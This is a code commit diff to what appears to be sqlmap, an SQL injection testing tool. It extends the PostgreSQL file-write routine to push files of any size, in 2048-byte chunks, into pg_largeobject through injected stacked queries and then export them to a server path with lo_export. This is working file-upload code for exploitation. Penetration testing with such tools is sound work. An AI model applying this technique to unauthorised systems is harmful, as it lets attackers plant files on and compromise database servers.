Skip to content

Commit b6ea2fd

Browse files
committed
1 parent 8df3d7a commit b6ea2fd

File tree

3 files changed

+32
-60
lines changed

3 files changed

+32
-60
lines changed

lib/core/settings.py

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -611,6 +611,9 @@
611611
# Timeout in seconds in which Metasploit remote session has to be initialized
612612
METASPLOIT_SESSION_TIMEOUT = 300
613613

614+
# Reference: http://www.postgresql.org/docs/9.0/static/catalog-pg-largeobject.html
615+
LOBLKSIZE = 2048
616+
614617
# Suffix used to mark variables having keyword names
615618
EVALCODE_KEYWORD_SUFFIX = "_KEYWORD"
616619

plugins/dbms/postgresql/filesystem.py

Lines changed: 15 additions & 53 deletions
Original file line numberDiff line numberDiff line change
@@ -11,12 +11,14 @@
1111
from lib.core.data import kb
1212
from lib.core.data import logger
1313
from lib.core.exception import SqlmapUnsupportedFeatureException
14+
from lib.core.settings import LOBLKSIZE
1415
from lib.request import inject
1516
from plugins.generic.filesystem import Filesystem as GenericFilesystem
1617

1718
class Filesystem(GenericFilesystem):
1819
def __init__(self):
1920
self.oid = None
21+
self.page = None
2022

2123
GenericFilesystem.__init__(self)
2224

@@ -35,79 +37,39 @@ def unionWriteFile(self, wFile, dFile, fileType, forceCheck=False):
3537

3638
def stackedWriteFile(self, wFile, dFile, fileType, forceCheck=False):
3739
wFileSize = os.path.getsize(wFile)
38-
39-
if wFileSize > 8192:
40-
errMsg = "on PostgreSQL it is not possible to write files "
41-
errMsg += "bigger than 8192 bytes at the moment"
42-
raise SqlmapUnsupportedFeatureException(errMsg)
40+
content = open(wFile, "rb").read()
4341

4442
self.oid = randomInt()
45-
46-
debugMsg = "creating a support table to write the base64 "
47-
debugMsg += "encoded file to"
48-
logger.debug(debugMsg)
43+
self.page = 0
4944

5045
self.createSupportTbl(self.fileTblName, self.tblField, "text")
5146

52-
logger.debug("encoding file to its base64 string value")
53-
fcEncodedList = self.fileEncode(wFile, "base64", False)
54-
55-
debugMsg = "forging SQL statements to write the base64 "
56-
debugMsg += "encoded file to the support table"
57-
logger.debug(debugMsg)
58-
59-
sqlQueries = self.fileToSqlQueries(fcEncodedList)
60-
61-
logger.debug("inserting the base64 encoded file to the support table")
62-
63-
for sqlQuery in sqlQueries:
64-
inject.goStacked(sqlQuery)
65-
6647
debugMsg = "create a new OID for a large object, it implicitly "
6748
debugMsg += "adds an entry in the large objects system table"
6849
logger.debug(debugMsg)
6950

7051
# References:
7152
# http://www.postgresql.org/docs/8.3/interactive/largeobjects.html
7253
# http://www.postgresql.org/docs/8.3/interactive/lo-funcs.html
54+
7355
inject.goStacked("SELECT lo_unlink(%d)" % self.oid)
74-
inject.goStacked("SELECT lo_create(%d)" % self.oid)
7556

76-
debugMsg = "updating the system large objects table assigning to "
77-
debugMsg += "the just created OID the binary (base64 decoded) UDF "
78-
debugMsg += "as data"
79-
logger.debug(debugMsg)
57+
for offset in xrange(0, wFileSize, LOBLKSIZE):
58+
fcEncodedList = self.fileContentEncode(content[offset:offset + LOBLKSIZE], "base64", False)
59+
sqlQueries = self.fileToSqlQueries(fcEncodedList)
60+
61+
for sqlQuery in sqlQueries:
62+
inject.goStacked(sqlQuery)
63+
64+
inject.goStacked("INSERT INTO pg_largeobject VALUES (%d, %d, DECODE((SELECT %s FROM %s), 'base64'))" % (self.oid, self.page, self.tblField, self.fileTblName))
65+
inject.goStacked("DELETE FROM %s" % self.fileTblName)
8066

81-
# Refereces:
82-
# * http://www.postgresql.org/docs/8.3/interactive/catalog-pg-largeobject.html
83-
# * http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql
84-
#
85-
# NOTE: From PostgreSQL site:
86-
#
87-
# "The data stored in the large object will never be more than
88-
# LOBLKSIZE bytes and might be less which is BLCKSZ/4, or
89-
# typically 2 Kb"
90-
#
91-
# As a matter of facts it was possible to store correctly a file
92-
# large 13776 bytes, the problem arises at next step (lo_export())
93-
#
94-
# Inject manually into PostgreSQL system table pg_largeobject the
95-
# base64-decoded file content. Note that PostgreSQL >= 9.0 does
96-
# not accept UPDATE into that table for some reason.
97-
self.getVersionFromBanner()
98-
banVer = kb.bannerFp["dbmsVersion"]
99-
100-
if banVer >= "9.0":
101-
inject.goStacked("INSERT INTO pg_largeobject VALUES (%d, 0, DECODE((SELECT %s FROM %s), 'base64'))" % (self.oid, self.tblField, self.fileTblName))
102-
else:
103-
inject.goStacked("UPDATE pg_largeobject SET data=(DECODE((SELECT %s FROM %s), 'base64')) WHERE loid=%d" % (self.tblField, self.fileTblName, self.oid))
67+
self.page += 1
10468

10569
debugMsg = "exporting the OID %s file content to " % fileType
10670
debugMsg += "file '%s'" % dFile
10771
logger.debug(debugMsg)
10872

109-
# NOTE: lo_export() exports up to only 8192 bytes of the file
110-
# (pg_largeobject 'data' field)
11173
inject.goStacked("SELECT lo_export(%d, '%s')" % (self.oid, dFile), silent=True)
11274

11375
written = self.askCheckWrittenFile(wFile, dFile, forceCheck)

plugins/generic/filesystem.py

Lines changed: 14 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -42,7 +42,7 @@ def _checkFileLength(self, localFile, remoteFile, fileRead=False):
4242
lengthQuery = "LENGTH(LOAD_FILE('%s'))" % remoteFile
4343

4444
elif Backend.isDbms(DBMS.PGSQL) and not fileRead:
45-
lengthQuery = "SELECT LENGTH(data) FROM pg_largeobject WHERE loid=%d" % self.oid
45+
lengthQuery = "SELECT SUM(LENGTH(data)) FROM pg_largeobject WHERE loid=%d" % self.oid
4646

4747
elif Backend.isDbms(DBMS.MSSQL):
4848
self.createSupportTbl(self.fileTblName, self.tblField, "VARBINARY(MAX)")
@@ -105,20 +105,27 @@ def fileToSqlQueries(self, fcEncodedList):
105105

106106
return sqlQueries
107107

108-
def fileEncode(self, fileName, encoding, single):
108+
def fileEncode(self, fileName, encoding, single, chunkSize=256):
109109
"""
110110
Called by MySQL and PostgreSQL plugins to write a file on the
111111
back-end DBMS underlying file system
112112
"""
113113

114-
retVal = []
115114
with open(fileName, "rb") as f:
116-
content = f.read().encode(encoding).replace("\n", "")
115+
content = f.read()
116+
117+
return self.fileContentEncode(content, encoding, single, chunkSize)
118+
119+
def fileContentEncode(self, content, encoding, single, chunkSize=256):
120+
retVal = []
121+
122+
if encoding:
123+
content = content.encode(encoding).replace("\n", "")
117124

118125
if not single:
119-
if len(content) > 256:
120-
for i in xrange(0, len(content), 256):
121-
_ = content[i:i + 256]
126+
if len(content) > chunkSize:
127+
for i in xrange(0, len(content), chunkSize):
128+
_ = content[i:i + chunkSize]
122129

123130
if encoding == "hex":
124131
_ = "0x%s" % _

0 commit comments

Comments
 (0)